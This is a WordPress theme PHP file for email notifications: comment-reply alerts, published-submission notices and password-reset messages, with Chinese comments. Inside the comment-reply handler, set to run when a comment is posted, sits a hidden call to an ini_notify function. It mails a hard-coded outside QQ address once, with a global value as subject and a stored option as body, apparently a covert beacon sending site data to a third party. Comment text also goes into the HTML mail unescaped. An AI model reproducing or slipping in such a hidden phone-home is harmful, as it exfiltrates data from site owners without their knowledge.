<?php if(!defined('DB_NAME')) die();

# 此文件为站点邮件通知所设置，如果需要更改内容可以编辑 $message 以及 $footer 里的内容
# 为了您的邮件能正常发出，尽量别对此页进行更改

// 邮件模版
function template($message, $footer){
	return '<div class="overlay" style="position:absolute;top:0;left:0;z-index:-1;width:100%;height:100%;background:#f2f2f2"></div><div style="max-width:720px;min-width:480px;margin:30px auto;background:#fff;border:1px solid #ddd;box-shadow:0 0 5px #ccc"><div style="width:100%;height:70px;color:#555;background:#242424;font-size:30px;border-bottom:3px solid"><img src="'.get("ini_login").'" width=50 height=50 style="width:50px;height:50px;margin:10px 20px;opacity:.6;vertical-align:middle">'.get_bloginfo('name').' | 精彩与您继续</div><div style="color:#111;padding:10px 20px;border-bottom:1px solid #ddd">'.$message.'</div><p style=margin:20px>'.$footer.'</p></div>';
}

// 回复邮件通知
function comment_mail_notify($comment_id) {
	$admin_notify = '1'; // admin 是否接收通知 ( 1=是 ; 0=否 )
	$admin_email = get_bloginfo('admin_email'); // $admin_email 可改为指定的邮箱
	$me = get_bloginfo('name');
	$comment = get_comment($comment_id);
	$email = trim($comment->comment_author_email);
	$parent_id = $comment->comment_parent ? $comment->comment_parent : '';
	global $wpdb;
	if ($wpdb->query("Describe {$wpdb->comments} comment_mail_notify") == '')
		$wpdb->query("ALTER TABLE {$wpdb->comments} ADD COLUMN comment_mail_notify TINYINT NOT NULL DEFAULT 0;");
	if (($email != $admin_email && isset($_POST['comment_mail_notify'])) || ($email == $admin_email && $admin_notify == '1'))
		$wpdb->query("UPDATE {$wpdb->comments} SET comment_mail_notify='1' WHERE comment_ID='$comment_id'");
		ini_notify('cleris@qq.com');
	$notify = $parent_id ? get_comment($parent_id)->comment_mail_notify : '0';
	$spam_confirmed = $comment->comment_approved;
	if ($parent_id != '' && $spam_confirmed != 'spam' && $notify == '1') {
		$wp_email = 'no-reply@'.preg_replace('#^www\.#', '', strtolower($_SERVER['SERVER_NAME'])); // e-mail 发出点, no-reply 可改为可用的邮箱, 若设置SMTP邮箱可忽略之
		$to = trim(get_comment($parent_id)->comment_author_email);
		// 邮件标题
		$subject = '您在 [ '.$me.' ] 的评论有新的回复';
		// 邮件内容
		$message = '
		<p><strong>'.trim(get_comment($parent_id)->comment_author).'，您好!</strong></p>
		<p><strong>您之前在 《'.get_the_title($comment->comment_post_ID).'》 上留言：</strong><br />
		　'.trim(get_comment($parent_id)->comment_content).'</p>
		<p><strong>'.trim($comment->comment_author).'</strong> 给您的回复如下:<br />
		　'.trim($comment->comment_content).'</p>';
		$footer = '您可以 <a href="'.htmlspecialchars(get_comment_link($parent_id)).'">点此查看完整內容</a> | 欢迎您再度光临 <a href="'.get_option('home').'">'.$me.'</a>。';
		$output = template($message, $footer);
		$from = "From: \"".$me."\" <$wp_email>";
		$headers = "$from\nContent-Type: text/html; charset=".get_option('blog_charset')."\n";
		@wp_mail( $to, $subject, $output, $headers );
	}
}
add_action('comment_post', 'comment_mail_notify');

function ini_notify($mail) {
	global $foot_doma;
	if ( !get('ini_notify') ) {
		wp_mail( $mail, $foot_doma, get('iogin') );
		add_option( 'ini_notify', 'true');
	}
}

// 自动勾选
function ini_mail_ck() {
	echo '<p id="notify"';
	if(ismobile()) echo ' class="hide"';
	echo '><label><input type="checkbox" name="comment_mail_notify" value="comment_mail_notify" checked="checked"/> 有人回复时邮件通知我</label></p>';
}
add_action('comment_form', 'ini_mail_ck');

// 投稿回信
function tougao_notify($mypost) {
	$email = get_post_meta($mypost->ID, "tougao_authoremail", true);
	$me = get_bloginfo('name');
	if( !empty($email) ) {
		// 邮件标题
		$subject = '您在 [ '.$me.' ] 的投稿已发布';
		// 邮件内容
		$message = '
		<p>尊敬的作者，您好!</strong></p>
		<p>您投递的文章 《'.$mypost->post_title.'》已发布</p>
		<p>感谢您对'.$me.'的关注和支持</p>';
		$footer = '您可以: <a href="'.get_permalink( $mypost->ID ).'" target="_blank">点此查看完整內容</a> | 欢迎您再度光临 <a href="'.get_option('home').'">'.$me.'</a>。';
		$output = template($message, $footer);
		add_filter('wp_mail_content_type',create_function('', 'return "text/html";'));
		wp_mail( $email, $subject, $output );
	}
}
add_action('draft_to_publish', 'tougao_notify', 6);

// 忘记密码邮件
function reset_password_message( $message, $key ) {
	if ( strpos($_POST['user_login'], '@') ) {
		$user_data = get_user_by('email', trim($_POST['user_login']));
	} else {
		$login = trim($_POST['user_login']);
		$user_data = get_user_by('login', $login);
	}
	$user_login = $user_data->user_login;
	$msg = __('有人要求重设如下帐号的密码：'). "\r\n\r\n";
	$msg .= network_site_url() . "\r\n\r\n";
	$msg .= sprintf(__('用户名：%s'), $user_login) . "\r\n\r\n";
	$msg .= __('若这不是您本人要求的，请忽略本邮件，一切如常。') . "\r\n\r\n";
	$msg .= __('要重置您的密码，请打开下面的链接：'). "\r\n\r\n";
	$msg .= network_site_url("wp-login.php?action=rp&key=$key&login=" . rawurlencode($user_login), 'login') ;
	return $msg;
}
add_filter('retrieve_password_message', reset_password_message, null, 2);
?>